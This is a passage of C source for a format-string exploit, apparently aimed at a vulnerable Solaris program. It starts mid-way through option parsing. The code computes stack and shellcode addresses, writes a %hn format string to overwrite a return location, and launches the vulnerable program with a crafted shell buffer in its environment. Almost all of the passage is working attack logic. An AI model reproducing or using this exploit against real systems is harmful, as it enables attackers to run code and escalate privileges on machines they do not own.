sscanf(argv[i], "--retloc=%x", &retloc))== 0) {  
printf("Unrecognized option %s\n\n", argv[i]);  
usage(argv[0]);  
}  
}  
  
/* create the shell buffer */  
  
create_shellbuf(shellbuf, align, retloc);  
  
if (shell == 1) {  
printf("shellbuf (length = %d): %s\n\n", strlen(shellbuf)+1, shellbuf);  
}  
  
/* calculate memory addresses */  
  
sysinfo(SI_PLATFORM, platform, 256); /* get platform info */  
  
sp_addr = (get_sp() | 0xffff) & 0xfffffffc; /* get stack bottom address  
*/  
sh_addr = sp_addr - (strlen(VULPROG)+1) - (strlen(platform)+1) - (strlen(sh  
ellbuf)+1) + shellofs;  
  
/* sh_add now points to the beginning of the shell buffer */  
  
printf("Calculated shell buffer address: 0x%x\n", sh_addr);  
  
if (shell == 1) {  
put_long(&shellbuf[align], sh_addr); /* put sh_addr on the stack  
*/  
}  
  
if ( ((sh_addr + align) & 0xfffffffc) != (sh_addr + align) ) {  
printf("Warning: sh_addr + align must be word aligned. Adjust shellofs   
and align as neccessary\n");  
}  
  
if (retloc == RETLOC) { /* if retloc was not specif  
ied on the command line, calculate it */  
retloc = sh_addr + align - num*4 + retlocofs;  
printf("Calculated retloc: 0x%x\n", retloc);  
  
put_long(&shellbuf[align+4], retloc);  
put_long(&shellbuf[align+12], retloc+2);  
}  
  
jmp_addr = (sh_addr + align) + 64; /* Calculate the shell jump  
location */  
printf("Calculated shell code jump location: 0x%x\n\n", jmp_addr);  
  
/* create the format string */  
  
ptr = pattern;  
for (i = 0; i < num; i++) {  
memcpy(ptr, "%.8x", 4);  
ptr = ptr + 4;  
}  
  
if (dump == 1) {  
*ptr = 0; /* null-terminate */  
printf("Stack dump mode, dumping %d words\n", num);  
}  
else if (shell == 1) {  
sprintf(ptr, " Shell buffer: %%s");  
printf("Shell buffer dump mode, shell buffer address is 0x%x\n", sh_add  
r);  
}  
else {  
reth = (jmp_addr >> 16) & 0xffff;  
retl = (jmp_addr >> 0) & 0xffff;  
  
sprintf(ptr, "%%%uc%%hn%%%uc%%hn", (reth - num * 8), (retl - reth));  
printf("Exploit mode, jumping to 0x%x\n", jmp_addr);  
}  
  
printf("num: %d\t\talign: %d\tshellofs: %d\tretlocofs: %d\tretloc: 0x%x\n\n  
",  
num, align, shellofs, retlocofs, retloc);  
  
/* execute the vulnerable program using our custom environment */  
  
execute_vulnprog(pattern, shellbuf);  
  
}  
  
  
`